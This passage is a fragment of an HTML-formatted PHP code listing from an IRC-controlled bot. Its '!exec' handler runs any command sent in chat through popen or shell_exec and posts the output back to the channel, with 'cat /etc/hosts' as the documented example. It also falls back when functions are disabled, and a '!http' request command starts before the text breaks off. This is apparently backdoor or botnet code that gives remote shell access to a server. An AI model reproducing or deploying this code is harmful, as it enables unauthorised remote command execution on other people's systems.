line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum311&quot;&gt; 311:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Example: !exec cat /etc/hosts&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum312&quot;&gt; 312:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         */&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum313&quot;&gt; 313:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;exec&#39;&lt;/span&gt;:&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum314&quot;&gt; 314:&lt;/span&gt;                                                                             &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(&lt;span style=&quot;color: #0000ff&quot;&gt;isset&lt;/span&gt;($mcmd[1])) &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum315&quot;&gt; 315:&lt;/span&gt;                                                                                 {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum316&quot;&gt; 316:&lt;/span&gt;                                                                                     &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;($this-&amp;gt;ableFunc(&lt;span style=&quot;color: #006080&quot;&gt;&#39;popen&#39;&lt;/span&gt;))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum317&quot;&gt; 317:&lt;/span&gt;                                                                                         {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum318&quot;&gt; 318:&lt;/span&gt;                                                                                             $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0])+1);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum319&quot;&gt; 319:&lt;/span&gt;                                                                                             $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;Executing $command&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum320&quot;&gt; 320:&lt;/span&gt;                                                                                             $pipe = popen($command, &lt;span style=&quot;color: #006080&quot;&gt;&quot;r&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum321&quot;&gt; 321:&lt;/span&gt;                                                                                             &lt;span style=&quot;color: #0000ff&quot;&gt;while&lt;/span&gt;(!feof($pipe))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum322&quot;&gt; 322:&lt;/span&gt;                                                                                             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum323&quot;&gt; 323:&lt;/span&gt;                                                                                                 $pbuf = trim(fgets($pipe, 512));&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum324&quot;&gt; 324:&lt;/span&gt;                                                                                                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;($pbuf != NULL)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum325&quot;&gt; 325:&lt;/span&gt;                                                                                                     {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum326&quot;&gt; 326:&lt;/span&gt;                                                                                                         $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;: $pbuf&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum327&quot;&gt; 327:&lt;/span&gt;                                                                                                     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum328&quot;&gt; 328:&lt;/span&gt;                                                                                             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum329&quot;&gt; 329:&lt;/span&gt;                                                                                           pclose($pipe);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum330&quot;&gt; 330:&lt;/span&gt;                                                                                         }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum331&quot;&gt; 331:&lt;/span&gt;                                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;elseif&lt;/span&gt;($this-&amp;gt;ableFunc(&lt;span style=&quot;color: #006080&quot;&gt;&#39;shell_exec&#39;&lt;/span&gt;))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum332&quot;&gt; 332:&lt;/span&gt;                                                                                             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum333&quot;&gt; 333:&lt;/span&gt;                                                                                                 $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0])+1);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum334&quot;&gt; 334:&lt;/span&gt;                                                                                                 $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;Executing $command&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum335&quot;&gt; 335:&lt;/span&gt;                                                                                                 $exec = shell_exec($command);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum336&quot;&gt; 336:&lt;/span&gt;                                                                                                 $ret = explode(&lt;span style=&quot;color: #006080&quot;&gt;&quot;\n&quot;&lt;/span&gt;, $exec);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum337&quot;&gt; 337:&lt;/span&gt;                                                                                                 &lt;span style=&quot;color: #0000ff&quot;&gt;for&lt;/span&gt;($i=0;$i&amp;lt;count($ret);$i++)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum338&quot;&gt; 338:&lt;/span&gt;                                                                                                     {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum339&quot;&gt; 339:&lt;/span&gt;                                                                                                     &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;($ret[$i]!=NULL)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum340&quot;&gt; 340:&lt;/span&gt;                                                                                                         {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum341&quot;&gt; 341:&lt;/span&gt;                                                                                                             $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;: &quot;&lt;/span&gt;.trim($ret[$i]));&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum342&quot;&gt; 342:&lt;/span&gt;                                                                                                         }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum343&quot;&gt; 343:&lt;/span&gt;                                                                                                     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum344&quot;&gt; 344:&lt;/span&gt;                                                                                             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum345&quot;&gt; 345:&lt;/span&gt;                                                                                             &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum346&quot;&gt; 346:&lt;/span&gt;                                                                                             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum347&quot;&gt; 347:&lt;/span&gt;                                                                                                 $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;Unable to execute $command, function has been disabled(maybe?).&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum348&quot;&gt; 348:&lt;/span&gt;                                                                                             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum349&quot;&gt; 349:&lt;/span&gt;                                                                                 }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum350&quot;&gt; 350:&lt;/span&gt;                                                                             &lt;span style=&quot;color: #0000ff&quot;&gt;break&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum351&quot;&gt; 351:&lt;/span&gt;                                                                             &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum352&quot;&gt; 352:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #008000&quot;&gt;/**&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum353&quot;&gt; 353:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Description: Send a http request.&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum354&quot;&gt; 354:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Usage: !http site&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum355&quot;&gt; 355:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Example: !http http://mysite.com/file.php&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum356&quot;&gt; 356:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         */&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum357&quot;&gt; 357:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;http&#39;&lt;/span&gt;:&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum358&quot;&gt; 358:&lt;/span&gt;                                                                             &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(&lt;span style=&quot;color: #0000ff&quot;&gt;isset&lt;/span&gt;($mcmd[1]))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum359&quot;&gt; 359:&lt;/span&gt;                                                                                 {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum360&quot;&gt; 360:&lt;/span&gt;                                                                                     $site = 